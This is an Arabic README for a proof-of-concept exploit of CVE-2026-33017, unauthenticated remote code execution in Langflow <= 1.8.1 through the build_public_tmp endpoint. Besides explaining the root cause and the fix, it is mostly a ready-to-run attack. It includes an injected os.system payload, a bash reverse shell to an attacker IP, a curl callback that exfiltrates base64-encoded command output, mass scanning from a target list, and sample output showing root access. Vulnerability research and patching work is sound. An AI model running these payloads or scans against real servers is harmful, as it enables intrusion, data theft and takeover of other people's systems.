
CVE-2026-33017 - تنفيذ كود عن بُعد بدون مصادقة في Langflow <= 1.8.1 عبر Public Flow Build Endpoint
لأغراض تعليمية واختبارية مصرح بها فقط.
يعرض Langflow <= 1.8.1 نقطة نهاية عامة لبناء التدفقات تقبل بيانات تدفق يتحكم بها المهاجم وتحتوي على كود عشوائي. يُمرَّر هذا الكود إلى الدالة prepare_global_scope() في validate.py، والتي تستدعي exec() دون أي عزل، مما يؤدي إلى تنفيذ كود عن بُعد بدون مصادقة بصلاحيات عملية الخادم.
| الحزمة | المتأثر | المُصحَّح |
|---|---|---|
pip langflow | <= 1.8.1 | 1.9.0 |
نقطة النهاية build_public_tmp غير مُصادَق عليها عمدًا — فهي مصممة للسماح لأي شخص بتنفيذ تدفق عام مخزّن. الخلل هو أنها تقبل أيضًا معاملًا اختياريًا باسم data يحتوي على تعريفات تدفق يتحكم بها المهاجم. وبالتالي يمكن لمستخدم غير مصادَق عليه إرسال كود عقدة تعسفي يتعامل معه الخادم كرسم بياني تدفق شرعي ويمرره مباشرة إلى إجراءات تنفيذ الكود دون أي تحقق.
الإصلاح مباشر: إزالة المعامل data وإجبار نقطة النهاية على استدعاء build_graph_from_db() حصريًا، بحيث تنفّذ التدفقات العامة البيانات المخزنة فقط، ولا تنفّذ أبدًا كودًا مقدَّمًا من المهاجم.
تنتقل حمولة المهاجم عبر سلسلة الاستدعاءات التالية قبل الوصول إلى التنفيذ:
| الخطوة | الملف | التفصيل |
|---|---|---|
| 1 | chat.py:580 | يستقبل build_public_tmp بيانات المهاجم في نص الطلب |
| 2 | build.py:81 | يمرر start_flow_build() الحمولة غير الموثوقة |
| 3 | build.py:298 | يمررها build_graph_from_data() إلى بناء الرسم البياني |
| 4 | base.py:1168 | يفك Graph.from_payload() تسلسل تعريفات العقد المقدمة من المهاجم |
| 5 | base.py:1323 | تُستدعى instantiate_component() لكل عقدة |
| 6 | loading.py:43 | يُستخرج حقل code من معاملات المكوّن المخصص |
| 7 | eval.py:9 | تتلقى create_class() كود المهاجم الخام |
| 8 | validate.py:397 | exec(compiled_code, exec_globals) — دون أي عزل |
تعالج الدالة prepare_global_scope() في validate.py عقد ast.Assign أثناء تجميع الرسم البياني — قبل استدعاء أي طريقة تدفق. لذلك، يتم تنفيذ أي تعيين على المستوى الأعلى في الكود المُحقَن فورًا:
_r = __import__('os').system("whoami") # runs at compile time, not at flow run time
يذهب الإخراج إلى stdout الخاص بالخادم، وليس إلى استجابة HTTP. يتطلب إخراج البيانات (Exfiltration) استدعاءً خارجيًا (reverse shell أو webhook عبر curl).
| نقطة النهاية | المصادقة | ناقل الهجوم |
|---|---|---|
POST /api/v1/build_public_tmp/{flow_id}/flow | لا شيء | عن بُعد، بدون مصادقة |
| السيناريو | المتطلب |
|---|---|
| أ — تم تفعيل AUTO_LOGIN | AUTO_LOGIN=true: احصل على رمز JWT بشكل مجهول، أنشئ تدفقًا عامًا، ثم استغل الثغرة |
| ب — تدفق عام معروف | إذا كان UUID لتدفق عام/مشترك معروفًا: استغل الثغرة مباشرة، دون حاجة إلى مصادقة |
pip install requests
python3 poc.py --url http://target:7860 --cmd "id"
| العلامة | الافتراضي | الوصف |
|---|---|---|
--url | — | عنوان URL واحد لهدف Langflow |
--url-file | — | ملف نصي يحتوي على عنوان URL واحد لكل سطر (فحص جماعي) |
--cmd | id | أمر نظام التشغيل الذي سيتم تنفيذه على الهدف |
--flow-id | — | UUID لتدفق عام موجود (يتخطى إنشاء التدفق) |
--threads | 5 | عدد الخيوط المتوازية لوضع الفحص الجماعي |
--timeout | 15 | مهلة طلب HTTP بالثواني |
--no-cleanup | false | الإبقاء على التدفق المُنشأ بعد الاستغلال |
مهم: يستخدم هذا الـ PoC دالة
os.system()على مستوى الوحدة — يتم تنفيذ الأمر على الخادم، لكن إخراجه يذهب إلى stdout الخاص بالخادم وليس إلى استجابة HTTP. يكتفي الـ PoC بتأكيد حدوث التنفيذ ([+] VULNERABLE). لاستلام مخرجات الأمر فعليًا، استخدم إحدى طرق إخراج البيانات أدناه.
تأكيد أعمى (يتحقق من RCE دون التقاط المخرجات)
python3 poc.py --url http://target:7860 --cmd "id"
قشرة عكسية (Reverse shell) — مع مستمع محلي
# 1. Start a listener on your machine
nc -lvnp 4444
# 2. Send the reverse shell
python3 poc.py --url http://target:7860 --cmd "bash -c 'bash -i >& /dev/tcp/10.10.14.1/4444 0>&1'"
إخراج البيانات خارج النطاق (OOB) عبر استدعاء HTTP — مع خادم محلي
# 1. Start a local HTTP server
python3 -m http.server 8080
# 2. Exfiltrate output via curl callback
python3 poc.py --url http://target:7860 --cmd "curl http://10.10.14.1:8080/\$(id | base64 -w0)"
مع UUID لتدفق عام معروف (لا حاجة لإنشاء تدفق)
python3 poc.py --url http://target:7860 --cmd "id" --flow-id <flow-uuid>
فحص جماعي من ملف
python3 poc.py --url-file targets.txt --cmd "id" --threads 10
يؤكد الـ PoC أن التنفيذ قد حدث. يعني [+] VULNERABLE أن البناء نجح وأن الكود المُحقَن تم تنفيذه — وهذا لا يعني أنه تم التقاط المخرجات.
============================================================
CVE-2026-33017 — Langflow RCE PoC
============================================================
Targets : 1
Command : curl http://10.10.14.1:8080/$(id | base64 -w0)
Threads : 5 | Timeout : 15s
============================================================
[http://target:7860] auth: JWT token obtained
[http://target:7860] flow: created (3f2a1b4c-...)
[http://target:7860] [+] VULNERABLE — RCE executed
[http://target:7860] flow: deleted (3f2a1b4c-...)
============================================================
SUMMARY
============================================================
[+] http://target:7860 VULNERABLE
============================================================
1/1 target(s) vulnerable
المخرجات المستلمة على خادم HTTP المحلي:
10.10.14.1 - - "GET /dWlkPTAocm9vdCkgZ2lkPTAocm9vdCkgZ3JvdXBzPTAocm9vdCk= HTTP/1.1" 200 -
# base64 -d → uid=0(root) gid=0(root) groups=0(root)
exec() مشابهة في /api/v1/validate/code